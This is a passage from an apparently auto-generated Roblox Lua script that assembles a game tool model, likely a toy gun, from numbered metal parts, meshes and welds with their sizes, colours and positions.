- Part284.Position = Vector3.new(144.562943, 3.86657596, 144.474274)
- Part284.Orientation = Vector3.new(0, -90, 90)
- Part284.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh285.Parent = Part284
- BlockMesh285.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
- BlockMesh285.Scale = Vector3.new(0.566666543, 0.100000009, 0.766666234)
- Part286.Parent = Tool0
- Part286.Material = Enum.Material.Metal
- Part286.BrickColor = BrickColor.new("Dark stone grey")
- Part286.Rotation = Vector3.new(90, 0, -90)
- Part286.Anchored = true
- Part286.FormFactor = Enum.FormFactor.Custom
- Part286.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part286.CFrame = CFrame.new(144.769608, 3.97324896, 144.31427, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part286.BottomSurface = Enum.SurfaceType.Smooth
- Part286.TopSurface = Enum.SurfaceType.Smooth
- Part286.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part286.Position = Vector3.new(144.769608, 3.97324896, 144.31427)
- Part286.Orientation = Vector3.new(90, 90, 0)
- Part286.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh287.Parent = Part286
- BlockMesh287.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
- BlockMesh287.Scale = Vector3.new(0.0333333351, 0.900000274, 0.166666746)
- Part288.Parent = Tool0
- Part288.Material = Enum.Material.Metal
- Part288.BrickColor = BrickColor.new("Dark stone grey")
- Part288.Rotation = Vector3.new(-90, 0, 90)
- Part288.Anchored = true
- Part288.FormFactor = Enum.FormFactor.Custom
- Part288.Size = Vector3.new(0.200000003, 0.233333334, 0.200000003)
- Part288.CFrame = CFrame.new(143.969604, 3.88656497, 144.334274, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part288.BottomSurface = Enum.SurfaceType.Smooth
- Part288.TopSurface = Enum.SurfaceType.Smooth
- Part288.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part288.Position = Vector3.new(143.969604, 3.88656497, 144.334274)
- Part288.Orientation = Vector3.new(-90, 90, 0)
- Part288.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh289.Parent = Part288
- BlockMesh289.Scale = Vector3.new(0.50000006, 1, 0.699999988)
- BlockMesh289.Scale = Vector3.new(0.50000006, 1, 0.699999988)
- Part290.Parent = Tool0
- Part290.Material = Enum.Material.Metal
- Part290.BrickColor = BrickColor.new("Dark stone grey")
- Part290.Rotation = Vector3.new(90, 0, -180)
- Part290.Anchored = true
- Part290.FormFactor = Enum.FormFactor.Custom
- Part290.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part290.CFrame = CFrame.new(143.222946, 4.05991077, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part290.BottomSurface = Enum.SurfaceType.Smooth
- Part290.TopSurface = Enum.SurfaceType.Smooth
- Part290.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part290.Position = Vector3.new(143.222946, 4.05991077, 144.370956)
- Part290.Orientation = Vector3.new(90, 180, 0)
- Part290.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh291.Parent = Part290
- BlockMesh291.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
- BlockMesh291.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
- Part292.Parent = Tool0
- Part292.Material = Enum.Material.Metal
- Part292.BrickColor = BrickColor.new("Dark stone grey")
- Part292.Rotation = Vector3.new(90, 0, -180)
- Part292.Anchored = true
- Part292.FormFactor = Enum.FormFactor.Custom
- Part292.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part292.CFrame = CFrame.new(143.222946, 4.0665741, 144.407623, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part292.BottomSurface = Enum.SurfaceType.Smooth
- Part292.TopSurface = Enum.SurfaceType.Smooth
- Part292.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part292.Position = Vector3.new(143.222946, 4.0665741, 144.407623)
- Part292.Orientation = Vector3.new(90, 180, 0)
- Part292.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh293.Parent = Part292
- BlockMesh293.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
- BlockMesh293.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
- Part294.Parent = Tool0
- Part294.Material = Enum.Material.Metal
- Part294.BrickColor = BrickColor.new("Dark stone grey")
- Part294.Rotation = Vector3.new(90, 0, -180)
- Part294.Anchored = true
- Part294.FormFactor = Enum.FormFactor.Custom
- Part294.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part294.CFrame = CFrame.new(143.156265, 4.0299139, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part294.BottomSurface = Enum.SurfaceType.Smooth
- Part294.TopSurface = Enum.SurfaceType.Smooth
- Part294.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part294.Position = Vector3.new(143.156265, 4.0299139, 144.337601)
- Part294.Orientation = Vector3.new(90, 180, 0)
- Part294.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh295.Parent = Part294
- CylinderMesh295.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- CylinderMesh295.Scale = Vector3.new(0.333333373, 0.0666662827, 0.666666687)
- Part296.Parent = Tool0
- Part296.Material = Enum.Material.Metal
- Part296.BrickColor = BrickColor.new("Dark stone grey")
- Part296.Rotation = Vector3.new(90, 0, -180)
- Part296.Anchored = true
- Part296.FormFactor = Enum.FormFactor.Custom
- Part296.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part296.CFrame = CFrame.new(143.266266, 3.99323797, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part296.BottomSurface = Enum.SurfaceType.Smooth
- Part296.TopSurface = Enum.SurfaceType.Smooth
- Part296.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part296.Position = Vector3.new(143.266266, 3.99323797, 144.39093)
- Part296.Orientation = Vector3.new(90, 180, 0)
- Part296.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh297.Parent = Part296
- BlockMesh297.Scale = Vector3.new(0.400000066, 0.466666728, 0.0333333351)
- BlockMesh297.Scale = Vector3.new(0.400000066, 0.466666728, 0.0333333351)
- Part298.Parent = Tool0
- Part298.Material = Enum.Material.Metal
- Part298.BrickColor = BrickColor.new("Dark stone grey")
- Part298.Rotation = Vector3.new(0, -89.9700012, 0)
- Part298.Anchored = true
- Part298.FormFactor = Enum.FormFactor.Custom
- Part298.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part298.CFrame = CFrame.new(144.642929, 3.97324896, 144.307602, 0, 0, -0.999999881, 0.999999881, 0, 0, 0, -0.999999881, 0)
- Part298.BottomSurface = Enum.SurfaceType.Smooth
- Part298.TopSurface = Enum.SurfaceType.Smooth
- Part298.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part298.Position = Vector3.new(144.642929, 3.97324896, 144.307602)
- Part298.Orientation = Vector3.new(0, -90, 90)
- Part298.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh299.Parent = Part298
- SpecialMesh299.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
- SpecialMesh299.MeshType = Enum.MeshType.Wedge
- SpecialMesh299.Scale = Vector3.new(0.166666448, 0.100000009, 0.0333333351)
- Part300.Parent = Tool0
- Part300.Material = Enum.Material.Metal
- Part300.BrickColor = BrickColor.new("Dark stone grey")
- Part300.Rotation = Vector3.new(90, 90, 0)
- Part300.Anchored = true
- Part300.FormFactor = Enum.FormFactor.Custom
- Part300.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part300.CFrame = CFrame.new(144.662933, 3.97324896, 144.467606, 0, 0, 1, 1, 0, 0, 0, 1, 0)
- Part300.BottomSurface = Enum.SurfaceType.Smooth
- Part300.TopSurface = Enum.SurfaceType.Smooth
- Part300.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part300.Position = Vector3.new(144.662933, 3.97324896, 144.467606)
- Part300.Orientation = Vector3.new(0, 90, 90)
- Part300.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh301.Parent = Part300
- SpecialMesh301.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
- SpecialMesh301.MeshType = Enum.MeshType.Wedge
- SpecialMesh301.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
- Part302.Parent = Tool0
- Part302.Material = Enum.Material.Metal
- Part302.BrickColor = BrickColor.new("Dark stone grey")
- Part302.Rotation = Vector3.new(-90, 0, 90)
- Part302.Anchored = true
- Part302.FormFactor = Enum.FormFactor.Custom
- Part302.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part302.CFrame = CFrame.new(143.412933, 3.93991399, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part302.BottomSurface = Enum.SurfaceType.Smooth
- Part302.TopSurface = Enum.SurfaceType.Smooth
- Part302.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part302.Position = Vector3.new(143.412933, 3.93991399, 144.28093)
- Part302.Orientation = Vector3.new(-90, 90, 0)
- Part302.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh303.Parent = Part302
- BlockMesh303.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
- BlockMesh303.Scale = Vector3.new(0.0333333462, 0.333333373, 0.166666642)
- ManualWeld304.Name = "Part-to-AimPart Strong Joint"
- ManualWeld304.Parent = Part302
- ManualWeld304.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld304.C1 = CFrame.new(-0.00999450684, -0.0599889755, -0.589981079, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld304.Part0 = Part302
- ManualWeld304.Part1 = Part420
- Part305.Parent = Tool0
- Part305.Material = Enum.Material.Metal
- Part305.BrickColor = BrickColor.new("Dark stone grey")
- Part305.Rotation = Vector3.new(-90, 90, 0)
- Part305.Anchored = true
- Part305.FormFactor = Enum.FormFactor.Custom
- Part305.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part305.CFrame = CFrame.new(144.662933, 3.97324896, 144.31427, 0, 0, 1, -0.999999881, 0, 0, 0, -0.999999881, 0)
- Part305.BottomSurface = Enum.SurfaceType.Smooth
- Part305.TopSurface = Enum.SurfaceType.Smooth
- Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part305.Position = Vector3.new(144.662933, 3.97324896, 144.31427)
- Part305.Orientation = Vector3.new(0, 90, -90)
- Part305.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh306.Parent = Part305
- SpecialMesh306.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
- SpecialMesh306.MeshType = Enum.MeshType.Wedge
- SpecialMesh306.Scale = Vector3.new(0.166666448, 0.0333333388, 0.166666672)
- Part307.Parent = Tool0
- Part307.Material = Enum.Material.Metal
- Part307.BrickColor = BrickColor.new("Dark stone grey")
- Part307.Rotation = Vector3.new(90, 0, -90)
- Part307.Anchored = true
- Part307.FormFactor = Enum.FormFactor.Custom
- Part307.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
- Part307.CFrame = CFrame.new(143.469604, 3.89991403, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part307.BottomSurface = Enum.SurfaceType.Smooth
- Part307.TopSurface = Enum.SurfaceType.Smooth
- Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part307.Position = Vector3.new(143.469604, 3.89991403, 144.28093)
- Part307.Orientation = Vector3.new(90, 90, 0)
- Part307.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh308.Parent = Part307
- CylinderMesh308.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh308.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- ManualWeld309.Name = "Part-to-AimPart Strong Joint"
- ManualWeld309.Parent = Part307
- ManualWeld309.C0 = CFrame.new(0.100000001, -0.150000006, -0.100000001, -1, 0, 0, 0, 1, 0, 0, 0, -1)
- ManualWeld309.C1 = CFrame.new(-0.210006714, -0.0999891758, -0.596664429, 1, 0, 0, 0, 0, 1, 0, -1, 0)
- ManualWeld309.Part0 = Part307
- ManualWeld309.Part1 = Part420
- Part310.Parent = Tool0
- Part310.Material = Enum.Material.Metal
- Part310.BrickColor = BrickColor.new("Dark stone grey")
- Part310.Rotation = Vector3.new(-90, 0, 90)
- Part310.Anchored = true
- Part310.FormFactor = Enum.FormFactor.Custom
- Part310.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part310.CFrame = CFrame.new(144.396271, 3.966573, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part310.BottomSurface = Enum.SurfaceType.Smooth
- Part310.TopSurface = Enum.SurfaceType.Smooth
- Part310.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part310.Position = Vector3.new(144.396271, 3.966573, 144.28093)
- Part310.Orientation = Vector3.new(-90, 90, 0)
- Part310.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh311.Parent = Part310
- SpecialMesh311.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
- SpecialMesh311.MeshType = Enum.MeshType.Wedge
- SpecialMesh311.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
- Part312.Parent = Tool0
- Part312.Material = Enum.Material.Metal
- Part312.BrickColor = BrickColor.new("Dark stone grey")
- Part312.Rotation = Vector3.new(-90, 0, 90)
- Part312.Anchored = true
- Part312.FormFactor = Enum.FormFactor.Custom
- Part312.Size = Vector3.new(0.200000003, 0.906666756, 0.200000003)
- Part312.CFrame = CFrame.new(144.186279, 3.969908, 144.357605, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part312.BottomSurface = Enum.SurfaceType.Smooth
- Part312.TopSurface = Enum.SurfaceType.Smooth
- Part312.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part312.Position = Vector3.new(144.186279, 3.969908, 144.357605)
- Part312.Orientation = Vector3.new(-90, 90, 0)
- Part312.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh313.Parent = Part312
- BlockMesh313.Scale = Vector3.new(0.0666666776, 1, 0.13333331)
- BlockMesh313.Scale = Vector3.new(0.0666666776, 1, 0.13333331)
- Part314.Parent = Tool0
- Part314.Material = Enum.Material.Metal
- Part314.BrickColor = BrickColor.new("Dark stone grey")
- Part314.Rotation = Vector3.new(-90, -15.0099993, 0)
- Part314.Anchored = true
- Part314.FormFactor = Enum.FormFactor.Custom
- Part314.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part314.CFrame = CFrame.new(143.102783, 3.81143498, 144.497604, 0.965896666, 0, -0.258930802, 0.258930802, 0, 0.965896666, 0, -1, -0)
- Part314.BottomSurface = Enum.SurfaceType.Smooth
- Part314.TopSurface = Enum.SurfaceType.Smooth
- Part314.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part314.Position = Vector3.new(143.102783, 3.81143498, 144.497604)
- Part314.Orientation = Vector3.new(-74.9899979, -90, 90)
- Part314.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh315.Parent = Part314
- CylinderMesh315.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
- CylinderMesh315.Scale = Vector3.new(0.200000018, 0.0333333351, 0.166666597)
- Part316.Parent = Tool0
- Part316.Material = Enum.Material.Metal
- Part316.BrickColor = BrickColor.new("Dark stone grey")
- Part316.Rotation = Vector3.new(90, -90, 0)
- Part316.Anchored = true
- Part316.FormFactor = Enum.FormFactor.Custom
- Part316.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part316.CFrame = CFrame.new(144.562943, 3.973243, 144.494263, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part316.BottomSurface = Enum.SurfaceType.Smooth
- Part316.TopSurface = Enum.SurfaceType.Smooth
- Part316.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part316.Position = Vector3.new(144.562943, 3.973243, 144.494263)
- Part316.Orientation = Vector3.new(0, -90, -90)
- Part316.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh317.Parent = Part316
- SpecialMesh317.Scale = Vector3.new(0.166666448, 0.100000016, 0.766666651)
- SpecialMesh317.MeshType = Enum.MeshType.Wedge
- SpecialMesh317.Scale = Vector3.new(0.166666448, 0.100000016, 0.766666651)
- Part318.Parent = Tool0
- Part318.Material = Enum.Material.Metal
- Part318.BrickColor = BrickColor.new("Black")
- Part318.Rotation = Vector3.new(-90, 0, 90)
- Part318.Anchored = true
- Part318.FormFactor = Enum.FormFactor.Custom
- Part318.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part318.CFrame = CFrame.new(144.342941, 3.79991198, 144.397598, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part318.BottomSurface = Enum.SurfaceType.Smooth
- Part318.TopSurface = Enum.SurfaceType.Smooth
- Part318.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part318.Position = Vector3.new(144.342941, 3.79991198, 144.397598)
- Part318.Orientation = Vector3.new(-90, 90, 0)
- Part318.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh319.Parent = Part318
- BlockMesh319.Scale = Vector3.new(0.999999285, 0.100000061, 0.166666672)
- BlockMesh319.Scale = Vector3.new(0.999999285, 0.100000061, 0.166666672)
- Part320.Parent = Tool0
- Part320.Material = Enum.Material.Metal
- Part320.BrickColor = BrickColor.new("Dark stone grey")
- Part320.Rotation = Vector3.new(-90, -60, 90)
- Part320.Anchored = true
- Part320.FormFactor = Enum.FormFactor.Custom
- Part320.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part320.CFrame = CFrame.new(144.177887, 3.53699899, 144.39093, -3.43577899e-09, -0.499927372, -0.866068482, 1.98384043e-09, -0.866069317, 0.499927849, -1.00000095, -6.63913369e-14, 3.96714306e-09)
- Part320.BottomSurface = Enum.SurfaceType.Smooth
- Part320.TopSurface = Enum.SurfaceType.Smooth
- Part320.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part320.Position = Vector3.new(144.177887, 3.53699899, 144.39093)
- Part320.Orientation = Vector3.new(-30, -90, 180)
- Part320.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh321.Parent = Part320
- SpecialMesh321.Scale = Vector3.new(0.299999982, 0.0666666701, 0.333333373)
- SpecialMesh321.MeshType = Enum.MeshType.Wedge
- SpecialMesh321.Scale = Vector3.new(0.299999982, 0.0666666701, 0.333333373)
- Part322.Parent = Tool0
- Part322.Material = Enum.Material.Metal
- Part322.BrickColor = BrickColor.new("Dark stone grey")
- Part322.Rotation = Vector3.new(90, 0, -180)
- Part322.Anchored = true
- Part322.FormFactor = Enum.FormFactor.Custom
- Part322.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part322.CFrame = CFrame.new(143.236267, 4.00324106, 144.39093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part322.BottomSurface = Enum.SurfaceType.Smooth
- Part322.TopSurface = Enum.SurfaceType.Smooth
- Part322.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part322.Position = Vector3.new(143.236267, 4.00324106, 144.39093)
- Part322.Orientation = Vector3.new(90, 180, 0)
- Part322.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh323.Parent = Part322
- BlockMesh323.Scale = Vector3.new(0.100000009, 0.400000066, 0.0666666701)
- BlockMesh323.Scale = Vector3.new(0.100000009, 0.400000066, 0.0666666701)
- Part324.Parent = Tool0
- Part324.Material = Enum.Material.Metal
- Part324.BrickColor = BrickColor.new("Dark stone grey")
- Part324.Rotation = Vector3.new(90, 0, -180)
- Part324.Anchored = true
- Part324.FormFactor = Enum.FormFactor.Custom
- Part324.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part324.CFrame = CFrame.new(143.222946, 4.07990694, 144.370956, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part324.BottomSurface = Enum.SurfaceType.Smooth
- Part324.TopSurface = Enum.SurfaceType.Smooth
- Part324.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part324.Position = Vector3.new(143.222946, 4.07990694, 144.370956)
- Part324.Orientation = Vector3.new(90, 180, 0)
- Part324.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh325.Parent = Part324
- BlockMesh325.Scale = Vector3.new(0.0233333316, 0.13333331, 0.0433333293)
- BlockMesh325.Scale = Vector3.new(0.0233333316, 0.13333331, 0.0433333293)
- Part326.Parent = Tool0
- Part326.Material = Enum.Material.Metal
- Part326.BrickColor = BrickColor.new("Black")
- Part326.Rotation = Vector3.new(-90, 0, 90)
- Part326.Anchored = true
- Part326.FormFactor = Enum.FormFactor.Custom
- Part326.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part326.CFrame = CFrame.new(143.752945, 3.25991702, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part326.BottomSurface = Enum.SurfaceType.Smooth
- Part326.TopSurface = Enum.SurfaceType.Smooth
- Part326.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part326.Position = Vector3.new(143.752945, 3.25991702, 144.39093)
- Part326.Orientation = Vector3.new(-90, 90, 0)
- Part326.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh327.Parent = Part326
- BlockMesh327.Scale = Vector3.new(0.666666687, 0.333333373, 0.833333373)
- BlockMesh327.Scale = Vector3.new(0.666666687, 0.333333373, 0.833333373)
- Part328.Parent = Tool0
- Part328.Material = Enum.Material.Metal
- Part328.BrickColor = BrickColor.new("Dark stone grey")
- Part328.Rotation = Vector3.new(-90, -60, 90)
- Part328.Anchored = true
- Part328.FormFactor = Enum.FormFactor.Custom
- Part328.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part328.CFrame = CFrame.new(144.049606, 3.51324797, 144.39093, 0, -0.500036418, -0.866004467, 0, -0.866004467, 0.500036418, -1, 0, -0)
- Part328.BottomSurface = Enum.SurfaceType.Smooth
- Part328.TopSurface = Enum.SurfaceType.Smooth
- Part328.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part328.Position = Vector3.new(144.049606, 3.51324797, 144.39093)
- Part328.Orientation = Vector3.new(-30, -90, 180)
- Part328.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh329.Parent = Part328
- BlockMesh329.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
- BlockMesh329.Scale = Vector3.new(0.599999964, 0.100000009, 0.833333373)
- Part330.Parent = Tool0
- Part330.Material = Enum.Material.Metal
- Part330.BrickColor = BrickColor.new("Dark stone grey")
- Part330.Rotation = Vector3.new(90, 0, -180)
- Part330.Anchored = true
- Part330.FormFactor = Enum.FormFactor.Custom
- Part330.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part330.CFrame = CFrame.new(143.802933, 3.25991702, 144.460938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part330.BottomSurface = Enum.SurfaceType.Smooth
- Part330.TopSurface = Enum.SurfaceType.Smooth
- Part330.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part330.Position = Vector3.new(143.802933, 3.25991702, 144.460938)
- Part330.Orientation = Vector3.new(90, 180, 0)
- Part330.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh331.Parent = Part330
- CylinderMesh331.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- CylinderMesh331.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- Part332.Parent = Tool0
- Part332.Material = Enum.Material.Metal
- Part332.BrickColor = BrickColor.new("Dark stone grey")
- Part332.Rotation = Vector3.new(90, 0, -180)
- Part332.Anchored = true
- Part332.FormFactor = Enum.FormFactor.Custom
- Part332.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part332.CFrame = CFrame.new(143.229599, 4.03324604, 144.347595, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part332.BottomSurface = Enum.SurfaceType.Smooth
- Part332.TopSurface = Enum.SurfaceType.Smooth
- Part332.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part332.Position = Vector3.new(143.229599, 4.03324604, 144.347595)
- Part332.Orientation = Vector3.new(90, 180, 0)
- Part332.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh333.Parent = Part332
- CylinderMesh333.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666672)
- CylinderMesh333.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666672)
- Part334.Parent = Tool0
- Part334.Material = Enum.Material.Metal
- Part334.BrickColor = BrickColor.new("Dark stone grey")
- Part334.Rotation = Vector3.new(-90, 0, 90)
- Part334.Anchored = true
- Part334.FormFactor = Enum.FormFactor.Custom
- Part334.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
- Part334.CFrame = CFrame.new(143.952927, 3.76324296, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part334.BottomSurface = Enum.SurfaceType.Smooth
- Part334.TopSurface = Enum.SurfaceType.Smooth
- Part334.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part334.Position = Vector3.new(143.952927, 3.76324296, 144.500931)
- Part334.Orientation = Vector3.new(-90, 90, 0)
- Part334.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh335.Parent = Part334
- BlockMesh335.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
- BlockMesh335.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
- Part336.Parent = Tool0
- Part336.Material = Enum.Material.Metal
- Part336.BrickColor = BrickColor.new("Dark stone grey")
- Part336.Rotation = Vector3.new(-90, 0, 90)
- Part336.Anchored = true
- Part336.FormFactor = Enum.FormFactor.Custom
- Part336.Size = Vector3.new(0.200000003, 0.333333343, 0.200000003)
- Part336.CFrame = CFrame.new(143.952927, 3.76324797, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part336.BottomSurface = Enum.SurfaceType.Smooth
- Part336.TopSurface = Enum.SurfaceType.Smooth
- Part336.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part336.Position = Vector3.new(143.952927, 3.76324797, 144.28093)
- Part336.Orientation = Vector3.new(-90, 90, 0)
- Part336.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh337.Parent = Part336
- BlockMesh337.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
- BlockMesh337.Scale = Vector3.new(0.0333333351, 1, 0.333333343)
- Part338.Parent = Tool0
- Part338.Material = Enum.Material.Metal
- Part338.BrickColor = BrickColor.new("Dark stone grey")
- Part338.Rotation = Vector3.new(90, 0, -180)
- Part338.Anchored = true
- Part338.FormFactor = Enum.FormFactor.Custom
- Part338.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part338.CFrame = CFrame.new(143.802933, 3.43991399, 144.460938, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part338.BottomSurface = Enum.SurfaceType.Smooth
- Part338.TopSurface = Enum.SurfaceType.Smooth
- Part338.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part338.Position = Vector3.new(143.802933, 3.43991399, 144.460938)
- Part338.Orientation = Vector3.new(90, 180, 0)
- Part338.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh339.Parent = Part338
- CylinderMesh339.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- CylinderMesh339.Scale = Vector3.new(0.166666672, 0.0333333351, 0.166666657)
- Part340.Parent = Tool0
- Part340.Material = Enum.Material.Metal
- Part340.BrickColor = BrickColor.new("Black")
- Part340.Rotation = Vector3.new(-90, 0, -180)
- Part340.Anchored = true
- Part340.FormFactor = Enum.FormFactor.Custom
- Part340.Size = Vector3.new(0.200000003, 0.213333324, 0.200000003)
- Part340.CFrame = CFrame.new(144.289597, 3.79991603, 144.39093, -1, 0, 0, 0, 0, 1, 0, 1, -0)
- Part340.BottomSurface = Enum.SurfaceType.Smooth
- Part340.TopSurface = Enum.SurfaceType.Smooth
- Part340.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part340.Position = Vector3.new(144.289597, 3.79991603, 144.39093)
- Part340.Orientation = Vector3.new(-90, -180, 0)
- Part340.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh341.Parent = Part340
- CylinderMesh341.Scale = Vector3.new(0.333333433, 1, 0.166666672)
- CylinderMesh341.Scale = Vector3.new(0.333333433, 1, 0.166666672)
- ManualWeld342.Name = "Part-to-Handle Strong Joint"
- ManualWeld342.Parent = Part340
- ManualWeld342.C0 = CFrame.new(0.100000001, -0.106666662, 0.100000001, -0, 0, 1, 0, 1, 0, -1, 0, -0)
- ManualWeld342.C1 = CFrame.new(-0.106674194, 0.234465361, -0.102676392, 0, 1, 0, -1, 0, -6.29127026e-05, -6.29127026e-05, 0, 1)
- ManualWeld342.Part0 = Part340
- ManualWeld342.Part1 = Part30
- Part343.Parent = Tool0
- Part343.Material = Enum.Material.Metal
- Part343.BrickColor = BrickColor.new("Black")
- Part343.Rotation = Vector3.new(90, 0, 90)
- Part343.Anchored = true
- Part343.FormFactor = Enum.FormFactor.Custom
- Part343.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part343.CFrame = CFrame.new(143.772934, 3.48657799, 144.340927, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part343.BottomSurface = Enum.SurfaceType.Smooth
- Part343.TopSurface = Enum.SurfaceType.Smooth
